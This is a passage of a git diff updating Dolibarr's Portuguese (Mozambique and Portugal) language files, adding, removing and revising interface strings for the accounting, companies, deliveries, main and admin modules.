EnterPaymentDueToCustomer=Realizar pagamento devido para cliente DisabledBecauseRemainderToPayIsZero=Desabilitado porque o restante a pagar é zero -PriceBase=Preço base BillStatus=Status de fatura StatusOfGeneratedInvoices=Situação das faturas geradas BillStatusDraft=Rascunho (precisa ser validada) diff --git a/htdocs/langs/pt_MZ/companies.lang b/htdocs/langs/pt_MZ/companies.lang index 4f29abde47f..f351d09772e 100644 --- a/htdocs/langs/pt_MZ/companies.lang +++ b/htdocs/langs/pt_MZ/companies.lang @@ -31,10 +31,6 @@ Individual=Pessoa física ToCreateContactWithSameName=Irá automaticamente criar um contato/endereço com a mesma informação do terceiro. Na maioria dos casos, mesmo que o terceiro seja uma pessoa física, a criação de um único terceiro é suficiente. ParentCompany=Matriz Subsidiaries=Filiais -ReportByMonth=Relatório por mês -ReportByCustomers=Relatório por cliente -ReportByThirdparties=Relatório por terceiro -ReportByQuarter=Relatório por taxa CivilityCode=Forma de tratamento RegisteredOffice=Escritório registrado Lastname=Sobrenome @@ -51,7 +47,6 @@ Region=Região Region-State=Região - Estado CountryCode=Código do país Call=Chamar -PhonePro=Telefone comercial PhonePerso=Tel. particular PhoneMobile=Celular No_Email=Recusar e-mails em massa diff --git a/htdocs/langs/pt_MZ/compta.lang b/htdocs/langs/pt_MZ/compta.lang index 55154a3b678..81ef61d48ae 100644 --- a/htdocs/langs/pt_MZ/compta.lang +++ b/htdocs/langs/pt_MZ/compta.lang @@ -151,8 +151,6 @@ CalculationRuleDesc=Para calcular o total do VAT, há dois métodos:
      Métod CalculationRuleDescSupplier=De acordo com o fornecedor, escolha o método apropriado para aplicar a mesma regra de cálculo e obter o mesmo resultado esperado pelo fornecedor. CalculationMode=Forma de cálculo AccountancyJournal=código do Livro de Registro contábil -ACCOUNTING_VAT_PAY_ACCOUNT=Conta da contabilidade padrão para o pagamento de IVA[] -ACCOUNTING_ACCOUNT_CUSTOMER=Conta contábil usada para terceiros de clientes ACCOUNTING_ACCOUNT_SUPPLIER_Desc=A conta contábil dedicada definida no cartão de terceiros será usada apenas para a contabilidade da subconta. Este será usado para contabilidade geral e como valor padrão da contabilidade do Contador, se a conta contábil do fornecedor dedicada a terceiros não estiver definida. CloneTaxForNextMonth=Clonar para o proximo mes AddExtraReport=Relatórios extra (adicionar relatório de clientes estrangeiros e nacionais) diff --git a/htdocs/langs/pt_MZ/deliveries.lang b/htdocs/langs/pt_MZ/deliveries.lang index 61344cf4b60..72ac39bc8b5 100644 --- a/htdocs/langs/pt_MZ/deliveries.lang +++ b/htdocs/langs/pt_MZ/deliveries.lang @@ -2,7 +2,6 @@ Delivery=Entrega DeliveryRef=Ref. entrega DeliveryCard=Cartão de recibo -DeliveryOrder=Recibo de entrega DeliveryStateSaved=Estado de entrega salvo SetDeliveryDate=Indicar a Data de Envio ValidateDeliveryReceipt=Confirmar a Nota de Entrega @@ -13,7 +12,6 @@ DeliveryMethod=Método de entrega TrackingNumber=Número de rastreamento StatusDeliveryDraft=Minuta StatusDeliveryValidated=Recebida -NameAndSignature=Nome e assinatura: GoodStatusDeclaration=Recebi a mercadorias acima em bom estado, Deliverer=Entregador : Sender=Remetente diff --git a/htdocs/langs/pt_MZ/ecm.lang b/htdocs/langs/pt_MZ/ecm.lang index 3c7bb7eddf3..1b5ed3fa5cb 100644 --- a/htdocs/langs/pt_MZ/ecm.lang +++ b/htdocs/langs/pt_MZ/ecm.lang @@ -12,7 +12,6 @@ ECMNbOfFilesInSubDir=Numero de arquivos nos subpastas ECMCreationUser=Criado por ECMArea=Área DMS / ECM ECMAreaDesc=A área DMS / ECM (Gerenciamento de documentos / Gerenciamento de conteúdo eletrônico) permite salvar, compartilhar e pesquisar rapidamente todos os tipos de documentos no Dolibarr. -ECMAreaDesc2=* As pastas automáticas são geradas automaticamente quando algum arquivo é adicionado a algum ficheiro do sistema.
      * As pastas manuais podem ser usados ​​para guardar documentos sem ligação a um cadastro do sistema. ECMSectionWasRemoved=A pasta %s foi eliminada ECMSearchByKeywords=Busca usando palavras chave ECMSearchByEntity=Busca por objeto diff --git a/htdocs/langs/pt_MZ/loan.lang b/htdocs/langs/pt_MZ/loan.lang index 6fb19e2fcd9..678a6abbcec 100644 --- a/htdocs/langs/pt_MZ/loan.lang +++ b/htdocs/langs/pt_MZ/loan.lang @@ -18,6 +18,3 @@ InterestAmount=Juro CapitalRemain=Capital permanecem TermPaidAllreadyPaid =Este termo já está pago CantModifyInterestIfScheduleIsUsed =Você não pode alterar o interesse se usar o programador -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Capital contabilístico por padrão -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Interesse contabilístico por padrão -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Seguro contabilístico por padrão diff --git a/htdocs/langs/pt_MZ/main.lang b/htdocs/langs/pt_MZ/main.lang index 60e6ab46245..8524f2a5911 100644 --- a/htdocs/langs/pt_MZ/main.lang +++ b/htdocs/langs/pt_MZ/main.lang @@ -49,7 +49,6 @@ ErrorNoVATRateDefinedForSellerCountry=Erro, nenhum tipo de IVM definido para o p ErrorNoSocialContributionForSellerCountry=Erro, nenhum tipo de imposto social / fiscal definidos para o país '%s'. ErrorFailedToSaveFile=Erro, o registo do arquivo falhou. ErrorCannotAddThisParentWarehouse=Voce está tentando adicionar um armazém pai, o qual ja é um filho do armazém existente -FieldCannotBeNegative=O campo "%s" não pode ser negativo MaxNbOfRecordPerPage=Número máx de registros por página NotAuthorized=Você não está autorizado a fazer isso. SelectDate=Selecionar uma data @@ -134,11 +133,9 @@ Recenter=Recolocar no centro User=Usuário Users=Usuário NoUserGroupDefined=Nenhum grupo definido pelo usuário -PasswordRetype=Repetir Senha NoteSomeFeaturesAreDisabled=Antenção, só poucos módulos/funcionalidade foram ativados nesta demo NameSlashCompany=Nome / Companhia PersonalValue=Valor Personalizado -OldValue=Valor antigo %s CurrentValue=Valor atual MultiLanguage=Multi Idioma RefOrLabel=Ref. da etiqueta @@ -163,7 +160,6 @@ DateModificationShort=Data Modif. IPModification=Endereço IP da modificação DateLastModification=Última data de modificação DateValidation=Data Validação -DateSigning=Data de assinatura DateDue=Data Vencimento DateValue=Data Valor DateValueShort=Data Valor @@ -248,7 +244,6 @@ DefaultTaxRate=Taxa de imposto padrão RemainToPay=Permanecer para pagar Module=Modulo/Aplicacao Modules=Módulos / Aplicações -Filters=Filtros OtherStatistics=Outras estatisticas Favorite=Favorito RefSupplier=Ref. fornecedor @@ -471,8 +466,6 @@ BackOffice=Fundo do escritório View=Visão Exports=Exportações IncludeDocsAlreadyExported=Incluir documentos já exportados -ExportOfPiecesAlreadyExportedIsEnable=A exportação de peças já exportadas está habilitada -ExportOfPiecesAlreadyExportedIsDisable=A exportação de peças já exportadas está desabilitada AllExportedMovementsWereRecordedAsExported=Todos as movimentações exportadas foram salvos como exportadas NotAllExportedMovementsCouldBeRecordedAsExported=Nem todos as movimentações exportadas puderam ser salvas como exportadas Miscellaneous=Variados @@ -480,7 +473,6 @@ Calendar=Calendário GroupBy=Agrupar por ViewFlatList=Visão da lista resumida RemoveString=Remover string '%s' -DirectDownloadLink=Link de download público DirectDownloadInternalLink=Link privado para baixar Download=Baixar DownloadDocument=Descarregar documento @@ -538,7 +530,6 @@ ConfirmMassDraftDeletion=Confirmação de exclusão de massa de esboço SelectAThirdPartyFirst=Selecione um terceiro primeiro ... YouAreCurrentlyInSandboxMode=No momento você está no %s modo "caixa de areia" AnalyticCode=Código analitico -ShowCompanyInfos=Mostrar informações da empresa ShowMoreInfos=Mostrar mais informações NoFilesUploadedYet=Por favor, carregue um doc. primeiro SeePrivateNote=Veja avisos privados @@ -572,6 +563,7 @@ Used=Usado ASAP=O mais breve possível CREATEInDolibarr=Registro %s criado DateOfBirth=Data de nascimento -OnHold=Em espera ClientTZ=Fuso Horário do cliente (usuário) Terminate=Concluir +InternalUser=Usuário Interno +ExternalUser=Usuário Externo diff --git a/htdocs/langs/pt_MZ/mrp.lang b/htdocs/langs/pt_MZ/mrp.lang index 30afe170110..97de1e2827e 100644 --- a/htdocs/langs/pt_MZ/mrp.lang +++ b/htdocs/langs/pt_MZ/mrp.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - mrp Mrp=Ordens de fabricação +ListOfManufacturingOrders=Ordens de fabricação MenuMRP=Ordens de fabricação DeleteWorkstation=Excluir diff --git a/htdocs/langs/pt_MZ/salaries.lang b/htdocs/langs/pt_MZ/salaries.lang index 0ac1be4f306..880835e72d9 100644 --- a/htdocs/langs/pt_MZ/salaries.lang +++ b/htdocs/langs/pt_MZ/salaries.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Conta contábil usada para terceiros usuários -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=A conta contábil dedicada definida no cartão de usuário será usada somente para a contabilidade da Subconta. Este será usado para Contabilidade Geral e como valor padrão da contabilidade do Contador, se a conta contábil do usuário dedicada no usuário não estiver definida. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Conta da Contabilidade padrão para pagamentos de salário CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Por padrão, deixe em branco a opção "Criar automaticamente um pagamento total" ao criar um Salário NewSalary=Novo salário diff --git a/htdocs/langs/pt_MZ/stripe.lang b/htdocs/langs/pt_MZ/stripe.lang new file mode 100644 index 00000000000..14335fc610b --- /dev/null +++ b/htdocs/langs/pt_MZ/stripe.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails diff --git a/htdocs/langs/pt_PT/accountancy.lang b/htdocs/langs/pt_PT/accountancy.lang index 700e13bf5a7..c8e0c0f4c72 100644 --- a/htdocs/langs/pt_PT/accountancy.lang +++ b/htdocs/langs/pt_PT/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Selecione o tipo de retorno de carro ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique o prefixo para o nome de ficheiro ThisService=Este serviço ThisProduct=Este produto -DefaultForService=Padrão para o serviço -DefaultForProduct=Padrão para o produto +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Não pode sugerir @@ -48,8 +48,9 @@ CountriesNotInEEC=Países não na CEE CountriesInEECExceptMe=Países na CEE, exceto %s CountriesExceptMe=Todos os países, exceto %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Conta contábil principal para fornecedores n MainAccountForUsersNotDefined=Principal conta contábil para usuários não definidos na configuração MainAccountForVatPaymentNotDefined=Principal conta contábil para pagamento de IVA não definida na configuração MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Área de contabilidade AccountancyAreaDescIntro=O uso do módulo de contabilidade é feito em várias etapas: @@ -99,7 +101,8 @@ ShowAccountingAccount=Mostrar conta contabilística ShowAccountingJournal=Mostrar diário contabilistico ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Conta contabilística sugerida +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Contas padrão MenuBankAccounts=Contas Bancárias MenuVatAccounts=Contas de IVA @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Livro Razão BookkeepingSubAccount=Subledger AccountBalance=Saldo da conta +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Ref de objeto de origem CAHTF=Total purchase vendor before tax TotalExpenseReport=Relatório da despesa total @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Desactivar a gravação direta de transação na conta ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Ativar exportação de rascunho em diário ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Diário de vendas -ACCOUNTING_PURCHASE_JOURNAL=Diário de compras -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diário de diversos +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Diário de relatório de despesas -ACCOUNTING_SOCIAL_JOURNAL=Diário social +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Tem novo Jornal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Diário social ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Conta contabilística de espera -DONATION_ACCOUNTINGACCOUNT=Conta contabilística para registar donativos -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Conta contabilística padrão para produtos vendidos (utilizada se não for definida na folha de produto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Conta contabilística padrão para compra de serviços (usada se não for definida na folha de serviço) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Conta contabilística padrão para serviços vendidos (usada se não for definida na folha de serviço) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Tipo de documento Docdate=Data @@ -211,7 +220,8 @@ Codejournal=Diário JournalLabel=Journal label NumPiece=Número da peça TransactionNumShort=Núm. de transação -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=Você pode definir aqui alguns grupos de conta contábil. Eles serão usados ​​para relatórios contábeis personalizados. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Grupo de conta PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total de volume de negócios sem impostos TotalMarge=Margem total de vendas -DescVentilCustomer=Consulte aqui a lista de linhas de faturas a clientes associados (ou não) a uma conta contabilística de produto -DescVentilMore=Na maioria dos casos, se você usar produtos ou serviços predefinidos e definir o número da conta no cartão de produto / serviço, o aplicativo poderá fazer toda a ligação entre as suas linhas de fatura e a conta contábil do seu plano de contas, apenas em um clique com o botão "%s" . Se a conta não foi definida em cartões de produtos / serviços ou se você ainda tiver algumas linhas não vinculadas a uma conta, será necessário fazer uma ligação manual no menu " %s ". -DescVentilDoneCustomer=Consulte aqui a lista das linhas de faturas a clientes e as suas contas de contabilísticas de produto -DescVentilTodoCustomer=Vincular linhas da fatura que não estejam vinculadas a uma conta contabilística de produto -ChangeAccount=Alterar a conta contabilística de produto/serviço para as linhas selecionadas com a seguinte conta contabilística: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Vincule as linhas do relatórios de despesas de não vinculados a um honorário de uma conta de contabilística DescVentilExpenseReport=Consulte aqui a lista de linhas do relatório de despesas vinculadas (ou não) a um honorário da conta contabilística @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Se você configurar uma conta contábil no tipo de l DescVentilDoneExpenseReport=Consulte aqui a lista das linhas de relatórios de despesas e os seus honorários da conta contabilística Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Vincular automaticamente AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Erro, não pode apagar esta conta contabilística porque está a ser utilizada +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balanceamento FicheVentilation=Cartão de vinculação GeneralLedgerIsWritten=As transações são escritas no Livro Razão GeneralLedgerSomeRecordWasNotRecorded=Algumas das transações não puderam ser revistas. Se não houver outra mensagem de erro, provavelmente é porque já foram promovidas. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Lista de produtos não vinculados a qualquer conta contabilística +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Alterar vinculação Accounted=Contabilizado no ledger NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=Operações diversas AccountingJournalType2=Vendas AccountingJournalType3=Compras AccountingJournalType4=Banco -AccountingJournalType5=Relatório de despesas +AccountingJournalType5=Relatórios de despesas AccountingJournalType8=Inventário AccountingJournalType9=Contém novo +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Este diário já está a ser utilizado AccountingAccountForSalesTaxAreDefinedInto=Nota: A conta de contabilidade para imposto sobre vendas é definida no menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Exportar o diário rascunho @@ -389,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Calculado Formula=Fórmula ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Confirmação de Múltiplas Eliminações ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Entradas contábeis @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Atenção, este relatório não é baseado no Ledger, portanto, não contém transações modificadas manualmente no Ledger. Se a sua periodização estiver atualizada, a visão da contabilidade será mais precisa. ExpenseReportJournal=Diário de relatórios de despesas -InventoryJournal=Diário de Inventário +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/pt_PT/admin.lang b/htdocs/langs/pt_PT/admin.lang index 08e26813173..6f095f5a3ae 100644 --- a/htdocs/langs/pt_PT/admin.lang +++ b/htdocs/langs/pt_PT/admin.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - admin BoldRefAndPeriodOnPDF=Print reference and period of product item in PDF -BoldLabelOnPDF=Print label of product item in Bold in PDF +BoldLabelOnPDF=Imprimir etiqueta do item em negrito, em PDF Foundation=Fundação Version=Versão Publisher=Editor @@ -51,8 +51,6 @@ ClientSortingCharset=Colação de clientes WarningModuleNotActive=O módulo %s deve estar ativado WarningOnlyPermissionOfActivatedModules=Só são mostradas aqui as permissões relacionadas com os módulos ativos. Pode ativar outros módulos na página de Início-> Configuração-> Módulos. DolibarrSetup=Instalar ou atualizar o Dolibarr -InternalUser=Utilizador interno -ExternalUser=Utilizador externo InternalUsers=Utilizadores internos ExternalUsers=Utilizadores externos UserInterface=Interface do utilizador @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Máx. número de linhas para widgets AllWidgetsWereEnabled=Todos os widgets disponíveis estão habilitados +WidgetAvailable=Widget disponível PositionByDefault=Ordem predefinida Position=Posição MenusDesc=Os gestores de menu definem o conteúdo das duas barras de menu (horizontal e vertical) @@ -162,7 +161,7 @@ Purge=Limpar PurgeAreaDesc=Esta página permite excluir todos os arquivos gerados ou armazenados pelo Dolibarr (arquivos temporários ou todos os arquivos no diretório %s ). Usar esse recurso normalmente não é necessário. Ele é fornecido como uma solução alternativa para usuários cujo Dolibarr é hospedado por um provedor que não oferece permissões para excluir arquivos gerados 